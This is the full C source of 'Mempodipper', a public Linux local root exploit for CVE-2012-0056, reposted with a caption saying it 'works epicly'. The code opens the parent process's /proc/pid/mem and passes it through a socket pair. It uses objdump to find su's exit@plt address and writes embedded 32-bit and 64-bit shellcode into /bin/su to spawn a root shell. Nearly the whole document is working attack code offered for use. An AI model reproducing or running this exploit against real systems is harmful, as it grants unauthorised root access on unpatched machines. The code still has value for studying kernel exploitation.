CVE-2012-0056 Linux Kernel >=2.6.39 local root by zx2c4 works epicly

/*

 * Mempodipper

 * by zx2c4

 * 

 * Linux Local Root Exploit

 * 

 * Rather than put my write up here, per usual, this time I've put it

 * in a rather lengthy blog post: http://blog.zx2c4.com/749

 * 

 * Enjoy.

 * 

 * - zx2c4

 * Jan 21, 2012

 * 

 * CVE-2012-0056

 */

#define _LARGEFILE64_SOURCE 

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <sys/socket.h>

#include <sys/un.h>

#include <fcntl.h>

#include <unistd.h>

#include <limits.h>

int send_fd(int sock, int fd)

{

char buf[1];

struct iovec iov;

struct msghdr msg;

struct cmsghdr *cmsg;

int n;

char cms[CMSG_SPACE(sizeof(int))];

buf[0] = 0;

iov.iov_base = buf;

iov.iov_len = 1;

memset(&msg, 0, sizeof msg);

msg.msg_iov = &iov;

msg.msg_iovlen = 1;

msg.msg_control = (caddr_t)cms;

msg.msg_controllen = CMSG_LEN(sizeof(int));

cmsg = CMSG_FIRSTHDR(&msg);

cmsg->cmsg_len = CMSG_LEN(sizeof(int));

cmsg->cmsg_level = SOL_SOCKET;

cmsg->cmsg_type = SCM_RIGHTS;

memmove(CMSG_DATA(cmsg), &fd, sizeof(int));

if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)

return -1;

close(sock);

return 0;

}

int recv_fd(int sock)

{

int n;

int fd;

char buf[1];

struct iovec iov;

struct msghdr msg;

struct cmsghdr *cmsg;

char cms[CMSG_SPACE(sizeof(int))];

iov.iov_base = buf;

iov.iov_len = 1;

memset(&msg, 0, sizeof msg);

msg.msg_name = 0;

msg.msg_namelen = 0;

msg.msg_iov = &iov;

msg.msg_iovlen = 1;

msg.msg_control = (caddr_t)cms;

msg.msg_controllen = sizeof cms;

if ((n = recvmsg(sock, &msg, 0)) < 0)

return -1;

if (n == 0)

return -1;

cmsg = CMSG_FIRSTHDR(&msg);

memmove(&fd, CMSG_DATA(cmsg), sizeof(int));

close(sock);

return fd;

}

int main(int argc, char **argv)

{

if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {

char parent_mem[256];

sprintf(parent_mem, "/proc/%d/mem", getppid());

printf("[+] Opening parent mem %s in child.\n", parent_mem);

int fd = open(parent_mem, O_RDWR);

if (fd < 0) {

perror("[-] open");

return 1;

}

printf("[+] Sending fd %d to parent.\n", fd);

send_fd(atoi(argv[2]), fd);

return 0;

}

printf("===============================\n");

printf("=          Mempodipper        =\n");

printf("=           by zx2c4          =\n");

printf("=         Jan 21, 2012        =\n");

printf("===============================\n\n");

int sockets[2];

printf("[+] Opening socketpair.\n");

if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {

perror("[-] socketpair");

return -1;

}

if (fork()) {

printf("[+] Waiting for transferred fd in parent.\n");

int fd = recv_fd(sockets[1]);

printf("[+] Received fd at %d.\n", fd);

if (fd < 0) {

perror("[-] recv_fd");

return -1;

}

printf("[+] Assigning fd %d to stderr.\n", fd);

dup2(2, 6);

dup2(fd, 2);

unsigned long address;

if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')

address = strtoul(argv[2], NULL, 16);

else {

printf("[+] Reading su for exit@plt.\n");

// Poor man's auto-detection. Do this in memory instead of relying on objdump being installed.

FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");

char result[32];

result[0] = 0;

fgets(result, 32, command);

pclose(command);

address = strtoul(result, NULL, 16);

if (address == ULONG_MAX || !address) {

printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");

printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);

return 1;

}

printf("[+] Resolved exit@plt to 0x%lx.\n", address);

}

printf("[+] Calculating su padding.\n");

FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");

char result[256];

result[0] = 0;

fgets(result, 256, command);

pclose(command);

unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);

unsigned long offset = address - su_padding;

printf("[+] Seeking to offset 0x%lx.\n", offset);

lseek64(fd, offset, SEEK_SET);

#if defined(__i386__)

// See shellcode-32.s in this package for the source.

char shellcode[] =

"\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"

"\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"

"\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"

"\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"

"\x80";

#elif defined(__x86_64__)

// See shellcode-64.s in this package for the source.

char shellcode[] =

"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40"

"\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69"

"\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb"

"\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48"

"\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";

#else

#error "That platform is not supported."

#endif

printf("[+] Executing su with shellcode.\n");

execl("/bin/su", "su", shellcode, NULL);

} else {

char sock[32];

sprintf(sock, "%d", sockets[0]);

printf("[+] Executing child from child fork.\n");

execl("/proc/self/exe", argv[0], "-c", sock, NULL);

}

}